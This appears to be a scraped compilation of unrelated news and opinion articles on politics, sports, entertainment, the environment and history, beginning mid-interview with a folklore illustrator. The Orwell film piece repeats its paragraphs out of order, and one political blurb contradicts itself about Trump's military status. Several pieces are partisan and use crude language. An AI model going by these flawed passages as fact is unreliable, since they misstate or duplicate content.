the childhood impressions I had. By the way some of these drawings will go through a small modification later, because they really stand out from the general style of the project which is now based on more mature tales and character descriptions I’ve found in different sources.  I use a whole bunch of various ways to research the characters for my drawings: Wikipedia, some Mythology encyclopedias, dictionaries, scientific articles and so on. I try to work only with authentic original folk texts. Believe me, it’s much harder than just letting your fantasy go wild.  I usually start with reading the original folk tale about the character, then I go to Wiki and start digging: scientific sources, books, websites. After gathering all the information I begin drawing.  Details are obviously very important. Having worked in the game industry and knowing its requirements I always try to add as much visual information about the character as possible. It’s the basis for character design. Obviously these guys and girls don’t carry around all that stuff, but these details, these little things help me to tell their story. You can deliver maximum amount of information with minimal effort: just one picture can tell you a lot. All this fantasy equipment, runes, weapons have nothing to do with reality, so people, who don’t play games, can’t figure out why there’s so much gigantic armor plates. I try to explain it all and I even compiled a FAQ for those who are interested in these images. Tastes differ, so there’s bound to be some misunderstandings. I always say – please just try not to take it all too seriously. These are just the artist’s fantasies on the subject.  I guess you get this question a lot, but I can’t help myself: what were the main inspirations for developing the style of the characters?  Since I’ve been working in game industry, I’m pretty good at understanding all the visual patterns in character design, but I haven’t really played any Warhammer, Allods Online, DOTA 2, The Elder Scrolls, Dark Souls and even World of Warcraft. But I do know how these games look. A lot of people just glance at my images and start naming games I haven’t even heard of. Sometimes they mention movies: “Oh, this dude looks like a Transformer.” Most of them are sorely wrong.  If you need to simplify, you might say I’ve used the style of Warhammer, which is very dark, epic, unrealistic and visually shocking. Sometimes I add more cartoonish characters like spirits of the forest or domovoy (Russian house spirit), just to vary the world I’m drawing.  As an artist, I think every image must tell some kind of story.  A lot of my inspiration comes from my experience. I’ve seen a lot of artbooks, watched tons of movies and learned visual styles of different games. All this baggage is the foundation of my works. I don’t have any visual references next to me when I’m working, just dictionaries, encyclopedias and original texts of Russian folklore. Every visual aspect of the character comes directly from my head.  I’ve got two notebooks. One is my personal Sketchbook of Ideas. This is where I develop my characters, work on the images. I share some of these WIP stages in my Instagram (amokrus).  When the character is ready I finally draw it in my “Tales of Old Rus’’” Sketchbook, scan it, throw in a bit of Photoshop and publish it in Internet.  How will this project develop in the future? Do you plan to make a videogame out of it?  Actually, I haven’t really thought about the project’s commercial potential. For now I just want to draw. There are a lot of opportunities to turn this project into a product and I have a lot of offers. There’s definitely going to be an artbook, that I can say for sure. Maybe a board game. There might be a video game (I don’t really care about the genre). Time will tell.  You know, the funny part is that this project is unique because it has sparked an incredible interest for Russian folklore all around the world. I did nothing to promote this series of images. I just drew to my heart’s content. Actually my collaboration with George Martin began the same way. I never really struggled to get into the spotlight. I don’t do any PR stuff, I don’t really care for it.  We’ll see how this project will go. I’m definitely going to continue my work. It’s just so much fun!  ***  We thank Roman for his time and encourage you to check out his official Facebook page and Instagram.
-MEETING THE MINISTER  "One of the asymmetries of history," wrote Henry Kissinger of Singapore’s patriarch Lee Kuan Yew, "is the lack of correspondence between the abilities of some leaders and the power of their countries." Kissinger’s one time boss, Richard Nixon, was even more flattering. He speculated that, had Lee lived in another time and another place, he might have "attained the world stature of a Churchill, a Disraeli, or a Gladstone." This tag line of a big man on a small stage has been attached to Lee since the 1970s. Today, however, his stage does not look quite so small. Singapore’s per capita GNP is now higher than that of its erstwhile colonizer, Great Britain. It has the world’s busiest port, is the third-largest oil refiner and a major center of global manufacturing and service industries. And this move from poverty to plenty has taken place within one generation. In 1965 Singapore ranked economically with Chile, Argentina and Mexico; today its per capita GNP is four or five times theirs.  Lee managed this miraculous transformation in Singapore’s economy while maintaining tight political control over the country; Singapore’s government can best be described as a "soft" authoritarian regime, and at times it has not been so soft. He was prime minister of Singapore from its independence in 1959 (it became part of a federation with Malaysia in 1963 but was expelled in 1965) until 1990, when he allowed his deputy to succeed him. He is now "Senior Minister" and still commands enormous influence and power in the country. Since his retirement, Lee has embarked on another career of sorts as a world-class pundit, speaking his mind with impolitic frankness. And what is often on his mind is American-style democracy and its perils. He travels often to East Asian capitals from Beijing to Hanoi to Manila dispensing advice on how to achieve economic growth while retaining political stability and control. It is a formula that the governing elites of these countries
-Former Attorney General Eric Holder has said he is eager to become more involved in resisting President Donald Trump and is also considering a presidential run in 2020.  “Up to now, I have been more behind-the-scenes,” Holder told Yahoo News in an interview. “But that’s about to change. I have a certain status as the former attorney general. A certain familiarity as the first African-American attorney general. There’s a justified perception that I’m close to President Obama. So I want to use whatever skills I have, whatever notoriety I have, to be effective in opposing things that are, at the end of the day, just bad for the country.”  Holder, who served as Barack Obama’s Attorney General from 2009 to 2015 before being replaced by Loretta Lynch, also said that he had planned to take a back seat role in politics, but Hillary Clinton’s defeat in 2016 election inspired him to re-engage in frontline politics.  “I thought, frankly, along with everybody else, that after the election, with Hillary Clinton as president, I could walk off the field,” he continued. “So when she didn’t win, I thought, ‘We’ll have to see how this plays out.’ But it became clear relatively soon — and certainly sooner than I expected — that I had to get back on the field and be in effective opposition.”  Since Trump took office, Holder has been involved in legal attempts to torpedo Donald Trump’s immigration agenda. In January, he was hired by Democratic leaders to represent the state of California to maintain its status as a sanctuary city.  On Monday, Holder spoke at a public meeting at the Ronald Reagan State Building in Los Angeles, alongside California Senate leader Kevin de Leon, to promote legislation known as the California Values Act, which prevents local police from enforcing immigration law.  During the meeting, Holder claimed that the “federal government does not have the ability to force states to do things that are inherently federal in nature,” and that attempts to withhold federal funds for failing to comply with immigration law are unconstitutional.  “Now is the time to be more visible,” Holder added. “Now is the time to be heard.”  Other Democrats mooted as potential 2020 presidential candidates include Massachusetts Sen. Elizabeth Warren, Vermont Sen. Bernie Sanders, and former Vice President Joe Biden.  You can follow Ben Kew on Facebook, on Twitter at @ben_kew, or email him at bkew@breitbart.com
-John Mayer briefly spoke on Frank Ocean’s new music during a recent Instagram live stream. After amusedly touching on what reggae would sound like in space, he responded to a fan question in the comments: “Favorite Frank Ocean song? ‘Sweet Life,’” he said. “And then he played me this song the other day... I won’t say the title, that's his business, but... He’s doing stuff right now that’s... talk about space reggae, future reggae, that’s Frank Ocean.” Check out a video of the stream below; Mayer speaks on Ocean around the 8:20 mark. Mayer previously played guitar on Channel Orange, while Ocean sang on Mayer’s 2013 album Paradise Valley.  Producer Calvin Harris recently announced that his new collaboration with Ocean and Migos, “Slide,” will be released tonight, marking the first piece of new music from Ocean since the release of Blonde.
-ES Football Newsletter Enter your email address Please enter an email address Email address is invalid Fill out this field Email address is invalid You already have an account. Please log in or register with your social account  David Busst has offered Manchester United and England left-back Luke Shaw hope of a return to action before the end of the season.  Former Coventry defender Busst suffered a horrific leg break against United at Old Trafford in 1996 after colliding with Denis Irwin and Brian McClair and retired from the game a few months later.  Busst needed 26 operations and contracted the MRSA virus but he is confident Shaw, 20, who sustained a double fracture of his right leg in Tuesday night's 2-1 defeat at PSV Eindhoven, will make a full recovery.  He told The Sun: "It wasn't the actual fractures that stopped me from playing, it was the infections.  "But so long as it's a clean break and there is no infection, there shouldn't be a major issue for Luke."  Manchester United announced on Wednesday that Shaw will remain in Eindhoven for the 'early stages of his recovery' after undergoing surgery in the Netherlands on Tuesday night.
-Pat Robertson (The 700 Club/screen grab)  Pat Robertson on Monday declared that Donald Trump was the “clear winner” of Sunday night’s presidential debate, and the televangelist asserted that the GOP candidate’s admission that he groped women was simply “macho” talk.  “Trump was the winner,” Robertson opined on his 700 Club television program. “Basically, the pundits were writing him off.”  The TV preacher argued that Trump was like the mythical Phoenix because he had performed well at the debate just days after the leak of a video tape, in which the Republican nominee bragged that he could grab women “by the pussy” without their permission because he was a star.  “A guy does something 11 years ago, it was a conversation in Hollywood where he’s trying to look like he’s macho,” Robertson said. “And 11 years after that they surface it from The Washington Post or whatever, bring it out within 30 days or so of the election and this is supposed to be the death blow and everybody writes him off, ‘Okay, he’s dead, now you’ve got to get out of the way and let Mike Pence run the campaign.'”  “The Donald says no,” he continued. “He’s like the Phoenix. They think he’s dead, he’s come back. And he came back strong. So, he won that debate.”  A scientific poll conducted by CNN following Sunday night’s debate found that 57 percent of people said that Hillary Clinton won, while 34 percent thought Trump came out ahead.  Watch the video below from The 700 Club, broadcast Oct. 10, 2016.
-Mitch McConnell in Washington, D.C., on Wednesday. Yuri Gripas/AFP/Getty Images  It became conventional wisdom over the course of the election cycle that Donald Trump was a Frankenstein monster that the Republican Party created through the politics of racial resentment and anti-Obama demonization. This line of reasoning often implied that the Republican establishment was about to receive its comeuppance via a humiliating landslide electoral loss.  Well, that didn’t happen. And, as you can see above, chief Senate obstructionist Mitch McConnell—he of the infamous quote about Obama’s defeat being “the single most important thing [Republicans] want to achieve“—is looking mighty smug Wednesday. He has some reason to feel good: He’ll soon get to push through a vote for a conservative Supreme Court justice and to throw the Affordable Care Act in a garbage can.  But Trump’s victory speech early Wednesday morning underlined a major McConnell-related irony. A huge part of the opposition plan executed by McConnell, Paul Ryan, and the rest of the Republican Congress involved choking off the parts of President Obama’s agenda that would have helped the working class—the consideration of a public option for health insurance, the expansion of Medicaid, the passage of a stimulus package appropriate to the size of the 2008 recession, and generally the funding of redistributive government spending through higher taxes on top earners. These kinds of potential measures, and even the more limited measures that did pass, were demonized as the socialist agenda of an un-American president. And so even as America’s economy recovered in many ways, its inequalities of wealth and income persisted.  The white victims of this process, as we now know, were not happy, and their feeling of economic stagnation was—in addition to the War on Christmas, the suspicion that Barack Obama is African ISIS, and the general feeling that Hillary Clinton is an uppity bitch—one of the things that flipped just enough states to Trump’s side to give him the Electoral College.  Look what President-elect Trump described as the first priority of his administration in his victory speech:  We are going to fix our inner cities and rebuild our highways, bridges, tunnels, airports, schools, hospitals. We’re going to rebuild our infrastructure, which will become, by the way, second to none. And we will put millions of our people to work as we rebuild it.  That’s a mega-stimulus New Deal–style proposal no matter which party’s mouth it comes out of. At the same time, we are all aware that Donald Trump’s policy on free trade is that he is very against it. The “trade” section of Trump’s website is a list of vows to withdraw from agreements and institute tariffs. It’s an aggressive mercantilist promise to use the power of the government to protect American industries that are not competitive internationally, particularly those that are not competitive with China and Mexico.  So your Republican president’s agenda is to balance the protection of noncompetitive domestic businesses with a huge increase in public spending (and let’s not even mention the massive public-works project known as the wall with Mexico). It’s not really socialism—Trump’s government is going to take on the cost of propping up big manufacturers without being rewarded via an ownership stake therein—but it’s just as “socialist” as, to take one example, subsidizing the purchase of private health insurance. And it’s unquestionably Big Government.  I’m not an economic historian, but I happen to have recently read Tony Judt’s history of 20th-century Europe, Postwar, and Trump’s vision of the American economy sounds a lot like the mixed British economic system that was repudiated by the rise of Margaret Thatcher. (Try to picture a 1970s British car and you get a sense of the pitfalls of overprotection of industry.) Across the pond, of course, Thatcher’s rise was paralleled by the ascendance of a free-market, free-trade-extolling American politician named Ronald Reagan who shared her contempt for the encroachments of the welfare state. Among the politicians elected to Congress in the 1984 Reagan landslide was a young(er) Mitch McConnell, and among the Republicans Reagan inspired was a teenage Paul Ryan, whose brother once told the New York Times that Ryan’s political views were formed by discussing Reagan during family dinners. Now Ryan and McConnell are the architects of a strategy that has ended in the election of someone whose idea of economic policy is the creation of “millions” of government jobs and withdrawal from the Reagan treaty that became NAFTA. (And who, to boot, wants to forge a military and diplomatic alliance with the KGB officer who runs Russia.)  History repeats itself as farce, I’ve heard.  With apologies to Hamilton Nolan  See more Slate coverage of the election.
-The "S" word came up Saturday afternoon following the 6A title game.  The "S" word I'm talking about is sportsmanship. It's something we seldom salute in what is a winner take all society. It doesn't make the highlights, and it isn't printed on the front page. But perhaps it should be.  Pine Bluff head coach Bobby Bolding talked about the good sportsmanship displayed by his Zebras and the Greenwood Bulldogs during Pine Bluff's hard fought 28-21 win. The communities of Greenwood and Pine Bluff are as different as night and day, but on this day all I could see were two well-coached teams giving it their all to win a State Title. The great thing about sports is that it can bring kids together from entirely different backgrounds, and the hope is that they will leave the playing field with a new respect for each other. I hope that happened Saturday.  On Friday night, I witnessed a lack of good sportsmanship from Pulaski Academy coach Kevin Kelley.  The 5A Title game was the most compelling matchup of Championship weekend: the feel good story of the 2015 season, the McClellan Lions, facing the Mighty Bruins of Pulaski Academy. It was a rematch of a mid-season meeting where PA scored an early knockout. The final in that one was 41-30, but 24 of McClellan's 30 points came against PA's reserves. The Bruins led 35-0 at the half, and 41 to 6 early in third quarter.  Friday night's Championship Game was different.  McClellan came in with a great plan, and thanks to some friendly bounces and huge plays, they led Pulaski Academy 30 to 29 at halftime. This game wouldn't be decided until late in the 4th quarter.  It was the Pulaski Academy defense that came up with the play of the game. Trailing by only five, midway through the fourth quarter, McClellan faced a 4th and two at midfield. The PA defense swarmed the "Lion King" Pierre Strong to end McClellan's final threat.  The Bruins would add a touchdown to go up 13 at 43-30. That should have been the final score, but it wasn't. What happened next made me cringe.  With 12 seconds to go, after using two timeouts on the drive, PA threw for another touchdown to make it 50-30.  No one likes a bad winner.  It was the final seconds of PA's second straight state title win, and Coach Kelley should have been thinking about the celebration. You'll often hear coaches and former players call the victory formation a team uses when the quarterback kneels down to run out the clock the "greatest formation in football." Apparently, it's gone the way of the punt at PA.  Instead of running out the clock and soaking in a second straight title, Coach Kelley decided to use the last seconds to get payback; to punish McClellan. He later went to Facebook to explain why he went for the final Touchdown.  I'm not interested in his reasons. Coach Kelley was wrong. And if he needed to justify his decision after the fact on Facebook, he likely knows he was wrong, too. Instead of talking about the tremendous effort by the kids on either sideline or the heroics that turned the game by the overlooked defensive unit instead of PA's offensive juggernaut, we're talking about running up the score.  That unnecessary late touchdown has created nothing but bad blood. There's no middle ground on this one; it's PA against the world.  The relationship between public and private schools in this state is shaky at best, and stuff like this doesn't help the private schools.  Coach Kelley is a great coach who preaches "we, not me" to his players. If he were thinking that way late Friday night, he could have saved everyone a lot of grief.
-Writer Hired For Ron Howard And Brian Grazer's 1984 By Eric Eisenberg Random Article Blend  1984 was first published in 1949 and tells the story of a dystopian future where a man named Winston Smith rebels against the evil, ever-watching Big Brother. The book has gotten adapted multiple times, most notably in 1956 (Michael Anderson directing, Edmond O'Brien starring) and 1984 (Michael Radford directing, John Hurt starring).  Deadline confirms that Fairey will serve as an executive producer on the project along with Grazer and Howard. No production start or release date is mentioned for the film. Back in March a strange story surfaced online. It was reported that Brian Grazer and Ron Howard would be making a new adaptation of George Orwell's brilliant novel 1984 inspired by renowned street artist Shepard Fairey. At the time the project was in the earliest stages of development and had yet to find a writer or director. The production staff is still working on the latter, but now they've wrangled the former. Deadline reports that Noah Oppenheim has been hired to create the newest adaptation of 1984. Oppenheim, who was previously known as a television producer on shows like Hardball With Chris Matthews, Today and The Buried Life, he has made the switch over to screenwriting and already has a number of other high-profile projects on his plate. As previously reported the scribe is working on the WarGames remake, the redo of Daniel Espinosa's Snabba Cash, and The Secret Life of Houdini (the Harry Houdini movie that Gary Ross will direct).1984 was first published in 1949 and tells the story of a dystopian future where a man named Winston Smith rebels against the evil, ever-watching Big Brother. The book has gotten adapted multiple times, most notably in 1956 (Michael Anderson directing, Edmond O'Brien starring) and 1984 (Michael Radford directing, John Hurt starring).Deadline confirms that Fairey will serve as an executive producer on the project along with Grazer and Howard. No production start or release date is mentioned for the film. Blended From Around The Web Facebook  Back to top
-Sofia addresses the flack she’s received for Gloria.  Ever since she began portraying Gloria Pritchett on Modern Family, Sofia Vergara has received tons of flack for portraying a stereotype on TV. But Vergara has no problem with that and even says that it’s because of her that Latinas with strong accents can be on TV.  Speaking with Hola! USA, she said,  “Gloria’s character is inspired by my mom and my aunt. They are both Latin women who grew up in Colombia, like me. They love color, prints, and shoes.”  She added,  “It upsets me when Latinos complain about Gloria. I am grateful for the opportunity because the gringos have let me in with this strong accent I have. Eight years ago nobody had an accent like this on television.”  Vergara has been nominated four times for a Golden Globe for the role so clearly somebody likes what she’s doing!  Since starting on Modern Family, Sofia has landed an endorsement deal with CoverGirl, started her own K-Mart line, and her own underwear line.  Modern Family airs on ABC Wednesdays at 9 PM.  Photo: Tinseltown / Shutterstock.com
-1 SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard  At a White House event, President Trump declared himself no longer a civilian as he seems to believe that being president also makes him a member of the military.  Video:  According to the official White House transcript, as provided to PoliticusUSA, Trump said, “We’ve had a lot of victories, but we haven’t had a victory on healthcare. We’re disappointed. I am very disappointed because, again, even as a civilian, for seven years I’ve been hearing about healthcare, and I’ve been hearing about repeal and replace. And Obamacare is a total disaster. Some states had over a 200 percent increase — a 200 percent increase — in their premiums, and their deductibles are through the roof. It’s an absolute disaster.”  Donald Trump is still a civilian. Being president does make him a member of the military. The role of commander in chief is a title, not an official military position. Trump is still very much a civilian, and subject to civilian laws. Trump is slipping fast, and it is time for the American people to take notice of the fact that they are being governed by someone who might not be all there.  If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:
-More than 60 dogs seized in Studio City, and none were yet up for adoption. Marin Austin reports for the NBC4 News at 7 on Saturday, May 7, 2016. (Published Saturday, May 7, 2016)  The owner of a pet adoption center in Studio city is facing neglect charges after more than 60 dogs were seized from her home Friday night, officials said.  Animal Control officers took the dogs of a variety of breeds and sizes from the home of Rachel Kennedy, owner of Lucky Puppy Rescue & Retail at 11734 Ventura Boulevard, according to Brenda Barnette, general manager of Los Angeles Animal Services.  Officers said they took 65 dogs, many of them with medical conditions, for humane reasons. Los Angeles County code allows only three dogs per residence, officials said.  "Every single one of them are my babies," said Kennedy, who claims she took the dogs home to live with her because many of them are too sick and cannot be legally adopted by the public.  In a Facebook post, the pet adoption center said all of the dogs that were taken were "elderly, blind, deaf, cancer, and mommies left to die at the shelter with their babies."  Kennedy claims she spends about $200,000 a year to rescue and care for sick dogs who would otherwise be euthanized by the city. "There's something wrong in this system," said Kennedy. "Us as rescuers, we do this from the heart and they took my heart away."  Kennedy faces charges of illegal kennel and animal neglect, according to Barnette. Each dog was being examined and a health record was being created.  While Kennedy says she has a permit for most of the dogs to live at Lucky Puppy Rescue & Retails, she knew she was breaking the law when she took them home. She said will visit the animals who are now at the Los Angeles City East Valley Animal Shelter.  Barnette said the seized dogs are in custody and unavailable for adoption, foster or transfer to a private adoption or rescue group.  Correction: A previous version of this article incorrectly stated the dogs were seized at Lucky Puppy Rescue & Retail. The dogs were taken from Rachel Kennedy's home in Studio City. The article has been updated.
-This article is over 2 years old  Results of annual report card based on data collected before bleaching killed a fifth of the reef’s coral, suggesting next year’s results will be even worse  Great Barrier Reef scores D for health for fifth year in a row  The Great Barrier Reef has been given a D on a report card for its overall health by the federal and Queensland governments for the fifth year in a row.  The results of the annual report card were based on data collected before this year’s climate change-induced bleaching event that killed about a fifth of the reef’s coral, suggesting next year’s results will be even worse.  The report card measures the progress towards water pollution targets, as well as the overall health of the Great Barrier Reef’s ecosystems, including coral and seagrass.  The Great Barrier Reef: a catastrophe laid bare Read more  Combining all the measurements, the reef was rated D or “poor”.  Many of the individual assessments of progress towards water-quality targets showed very slow progress.  The government has a target to reduce inorganic nitrogen flowing into the Great Barrier Reef – mostly from sugar-cane fertilisation – by 50%. The report card rated progress towards that target with an E or “very poor”, finding it had only been reduced by 18.1%.  Progress towards improving sugar-cane farming and grazing practices in Great Barrier Reef catchments was rated “poor”, as was progress towards sediment and pesticide targets.  Some improvement was seen in coral cover in “inshore reefs” – those closest to the coastline – with their score moving from a D to a C.  But the coral cover in the most northerly sections – Cape York and the Wet Tropics – were given a score of D.  Those northern sections, particularly Cape York, were the hardest hit by the 2016 bleaching event, which occurred after the data used for this report card was collected.  Initial estimates show that 22% of the coral along the whole Great Barrier Reef was killed in the event, with 85% of that mortality occurring in the northern tip, north of Lizard Island.  The results follow a Water Science Taskforce report from the Queensland government in August finding $8.2bn was needed to meet water-quality targets the government has committed to, in order to avoid having the reef included on the world heritage in-danger list.  The new report card said “hundreds of millions” were being spent on projects to reduce pollution.  The government will need to report to the UN’s world-heritage committee in December on implementation of its plan to meet those targets, including on whether the plan has been adequately funded.  Imogen Zethoven from the Australian Marine Conservation Society described the report as “startling”.  Great Barrier Reef: Unesco pushes for tree-clearing controls Read more  “Coral bleaching, crown-of-thorn outbreaks and the ongoing poor condition of inshore reefs – these are the visible signs of a reef in crisis and the need for urgent action on water quality,” she said.  “The reef can’t survive and thrive without clean water. We must see accelerated action by the Queensland government to move ahead with legislative caps on water quality, supported by the federal government,” Zethoven said.  Sean Hoobin form WWF Australia said the results were “not a good look” ahead of the government’s reporting to the UN.  “The continuing poor scores are further evidence that the current programs and spending on reef pollution fall far short of what’s required. At this rate Australia simply won’t meet the targets committed to in Reef 2050,” he said.  Hoobin pointed out that almost $13bn is being spent to save the Murray-Darling basin.  “The reef is the jewel in the crown of Australia’s tourism industry and deserves a rescue package similar to the Murray-Darling basin,” Hoobin said.
-The U.S. Air Force unveiled on Friday the first image of its new long-range B-21 bomber developed by Northrop Grumman Corp.  U.S. Air Force Secretary Deborah James revealed the drawing of the aircraft at the Air Force Association’s annual Air Warfare Symposium, Reuters reported.  The Brief Newsletter Sign up to receive the top stories you need to know right now. View Sample Sign Up Now  The B-21 will be designed to launch from the U.S. and strike any target around the world and will eventually replace the Air Force B-52 bombers, according to CNN.  Northrop won an estimated $80 billion contract in October to build 100 new bombers, and Boeing Co. said on Friday it would forgo further protests to the contract.  The Air Force has said it will release more information about the warplane in March. The aircraft still faces hurdles in Congress, where questions have been raised about funding the program.  Write to Katie Reilly at Katie.Reilly@time.com.
-University of Florida athletic director Jeremy Foley will contact Philadelphia Eagles coach Chip Kelly this week to gauge his interest in coaching the Gators, CBS Philly's Marc Farzetta reports.  Florida is seeking to replace Will Muschamp, who was dismissed on Nov. 16 after going 28-21 in four seasons. He was allowed to finish the regular season but will not coach the team in a bowl game.  "Foley does not plan to officially interview Kelly yet, but will simply gauge Kelly’s interest and make his first pitch," a source told Farzetta.  • Nebraska fires head coach Bo Pelini​  Kelly is currently in his second season in the NFL after serving as the head coach at Oregon from 2009 to 2012. Kelly had a 46-7 record with the Ducks and qualified for a BCS bowl in each of his four seasons.  The Eagles are currently in first place in the NFC East at 9-3. In Kelly's first year with the team, Philadelphia won the NFC East but lost in the first round of the NFL postseason.  Yahoo's Pat Forde reported Sunday that Colorado State's Jim McElwain is a "leading candidate" to take over the Gators. Florida was also reported to be interested in Ole Miss head coach Hugh Freeze, but Florida denied that report.  - Dan Gartland
-Lust, Lies And Empire: The Fishy Tale Behind Eating Fish On Friday  Enlarge this image toggle caption Adam Cole/NPR Adam Cole/NPR  It sounds like the plot of a Dan Brown thriller: A powerful medieval pope makes a secret pact to prop up the fishing industry that ultimately alters global economics. The result: Millions of Catholics around the world end up eating fish on Fridays as part of a religious observance.  This "realpolitik" explanation of why Catholics eat fish on Friday has circulated for so long, many people grew up believing it as fact. Some, myself included, even learned it in Catholic school. It's a humdinger of a tale — the kind conspiracy theorists can really sink their teeth into. But is it true?  "Many people have searched the Vatican archives on this, but they have found nothing," says Brian Fagan, a professor emeritus of archaeology at the University of California, Santa Barbara, whose book, Fish On Friday, explores the impact of this practice on Western culture.  The real economic story behind fish on Fridays turns out to be much better.  Let's start with a quick lesson in theology: According to Christian teaching, Jesus died on a Friday, and his death redeemed a sinful world. People have written of fasting on Friday to commemorate this sacrifice as early as the first century.  Technically, it's the flesh of warmblooded animals that's off limits — an animal "that, in a sense, sacrificed its life for us, if you will," explains Michael Foley, an associate professor at Baylor University and author of Why Do Catholics Eat Fish On Friday?  Fish are coldblooded, so they're considered fair game. "If you were inclined to eat a reptile on Friday," Foley tells The Salt, "you could do that, too."  Alas, Christendom never really developed a hankering for snake. But fish — well, they'd been associated with sacred holidays even in pre-Christian times. And as the number of meatless days piled up on the medieval Christian calendar — not just Fridays but Wednesdays and Saturdays, Advent and Lent, and other holy days — the hunger for fish grew. Indeed, fish fasting days became central to the growth of the global fishing industry. But not because of a pope and his secret pact.  At first, says Fagan, Christians' religious appetite was largely met with herring, a fish that was plentiful but dry and tasteless when smoked or salted. And preservation was a must in medieval times: There was no good way for fresh fish to reach the devout masses. Eventually, cod became all the rage — it tasted better when cured and it lasted longer, too.  The Vikings were ace at preserving cod — they "used dried and salted cod as a form of beef jerky on their ocean passages," Fagan says. And the route the Vikings took at the end of the first millennium — Greenland, Iceland, Newfoundland — matches up with the natural range of the Atlantic cod.  It's possible that others may have followed the cod trail to Canada before Columbus sailed the ocean blue. Clues suggest that English fishermen from Bristol may have made the voyage by around 1480 but kept mum on the location lest the competition rush in. By some accounts, both Columbus and John Cabot had heard of these adventures when they set off on their own epic journeys west.  "Why do people go over the horizon?" Fagan says. "In the case of the North Atlantic after the Norse ... they went looking for cod" to satiate the demands of the faithful.  So that's the empire part of our saga. Funny enough, while the pope story is a fish tale, an official leader of a church did make fish fasting the law for purely practical reasons. For that story — and the lust our headline promised — we turn to a monarch known for his carnal cravings: Henry VIII.  By the time Henry ascended the throne in 1509, fish dominated the menu for a good part of the year. As one 15th century English schoolboy lamented in his notebook: "Though wyll not beleve how werey I am off fysshe, and how moch I desir to that flesch were cum in ageyn."  But after Henry became smitten with Anne Boleyn, English fish-eating took a nosedive.  You see, Henry was desperate with desire for Anne — but Anne wanted a wedding ring. The problem was, Henry already had a wife, Catherine of Aragon, and the pope refused to annul that decades' long marriage. So Henry broke off from the Roman Catholic Church, declared himself the head of the Church of England and divorced Catherine so he could marry Anne.  Suddenly, eating fish became political. Fish was seen as a " 'popish flesh' that lost favour as fast as Anglicism took root," as Kate Colquhoun recounts in her book Taste: The Story of Britain Through Its Cooking.  Fishermen were hurting. So much so that when Henry's young son, Edward VI, took over in 1547, fast days were reinstated by law — "for worldly and civil policy, to spare flesh, and use fish, for the benefit of the commonwealth, where many be fishers, and use the trade of living."  In fact, fish fasting remained surprisingly influential in global economics well into the 20th century.  As one economic analysis noted, U.S. fish prices plummeted soon after Pope Paul VI loosened fasting rules in the 1960s. The Friday meat ban, by the way, still applies to the 40 days of the Lenten fast.  A few years before the Vatican relaxed the rules, Lou Groen, an enterprising McDonald's franchise owner in a largely Catholic part of Cincinnati, found himself struggling to sell burgers on Fridays. His solution? The Filet-O-Fish.  While not exactly the miracle of loaves and fishes, Groen's little battered sandwich has fed millions around the world.
-Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.  Dec. 26, 2017, 8:28 PM GMT / Updated Dec. 27, 2017, 5:10 PM GMT By Ali Vitali  Lady Luck's moment in Virginia's political spotlight will have to wait.  The Virginia State Board of Elections will postpone its Wednesday random-drawing tiebreaker, granting a request from Democrat Shelly Simonds less than 24-hours before the unusual political event.  "We’ve been informed that the SBE is postponing their meeting," a board of elections spokeswoman told NBC News Tuesday, adding that more details will be passed along "as soon as we get them."  Republican David Yancey and Democrat Shelly Simonds attend a "take your legislator to school day" on Nov. 28 at Heritage High School in Newport News, Virginia. Julia Rendleman / The Washington Post via Getty Images  The Board of Elections was set to meet Wednesday morning in Richmond to determine the winner of the hotly-contested House of Delegates race between Simonds and Republican incumbent David Yancey by randomly drawing the winner's name, most likely out of a bowl.  Simonds' lawyers, Jonathan Berkon and Ezra Reese, told reporters in a conference call Tuesday that "there isn't any hurry" and a delay would allow for further review of the tie determination in the contest, 11,608 to 11,608.  Simonds' camp has filed motions asking a court to declare her the winner and suspend a judges' panel declaration of a tie last week, arguing that they should not have reviewed the discarded ballot that allowed the race to become tied up. The judges ruled that the previously tossed ballot should have been counted for Yancey, a decision that erased Simonds' one-point victory and equalized the result.  Matt Abell, Lead SBE Election Administration Analyst, holds the crystal bowl from which the political party slips were drawn at the June 26th board meeting. Virginia Dept. of Elections  That ballot in question had both candidates' bubbles filled in but Simonds' bubble had a slash mark through it and the judges interpreted that as meaning the voter didn't want to vote for the Democrat.  Simonds had earlier been declared the apparent winner in the race for the 94th District seat, a victory that would have flipped the red seat blue and created a 50-50 tie in the Virginia House.  If the drawing does ever take place, under one of the possible lottery scenarios, the state Board of Election would put each candidate's name in an old film canister, place the canisters into a glass bowl, shake it up, and then pick the canister with the winner's name inside. It remained unclear who would have the honor of selecting the winner.  The drawing would have been live-streamed on Facebook starting around 10 a.m., ET.  Should Simonds end up eventually taking the seat, it would mark the first time in two decades that Virginia's House was evenly divided and could lead to an unusual power-sharing arrangement in the legislature.  The 94th district isn't only Virginia district with its election results hanging in the balance.  Democrats are currently challenging the results out of Fredericksburg after about 100 residents in a split precinct were given the wrong ballot on Election Day in a House of Delegates contest. That case is set to go to court early next year and could further impact the balance of power in the legislature.
-Students from GHumble High School discussing sexual abuse assembly -- (KHOU screen grab)  Officials at a Texas high school pulled the plug midway through a girls-only assembly on sexual abuse when the speaker snapped at several girls who weren’t paying attention and said she wouldn’t feel bad if they were raped, reports KHOU.  A guest speaker was brought in from a local domestic violence and sexual assault charity to speak to 9th and 10th grade girls at Humble High School about healthy relationships and domestic violence. However, when some girls in the back on the room began chatting, the talk on self-esteem and protecting oneself took an ugly turn when the counselor snapped at them.  “She said when she moves the cover from over your face and they start swabbing and combing the hair — she was explaining the rape kit — she said she would not feel bad for us. She said she would tell us, ‘Oh I told you this was going to happen to you,'” explained sophomore Chantranise Lane.  According to multiple girls in the room, teens became upset with some of them crying, including a few who are rape victims.  The school district confirmed that part of the talk had to do with what girls wear and what they post on social media, but the teens said they should be speaking with the boys and telling them not to rape.  “They shouldn’t be telling students that just because you’re posed a certain way, you’re going to get assaulted. That shouldn’t happen. You need to teach the boys not to do that,” said Zaria Rogan,  “If somebody comes at me and I tell them ‘No, you stop what you’re doing,’ that is a no. So if boys are not being taught this and they’re being taught that if we portray ourselves like this then they can do what they want to us, then that’s never going to change.” added Emily Nelson  “I feel like they were degrading us making us bad for being a female,” Lane explained. “They’re making us feel bad for loving ourselves or trying to accept ourselves.”  According to the school, the assembly was abruptly stopped and another planned for later was canceled before issuing a statement saying they never wanted the girls to feel uncomfortable about themselves.  The group that supplied the speaker said that they never had an issue before and weren’t sure what happened, but were looking into it.  Watch the video from KHOU below:
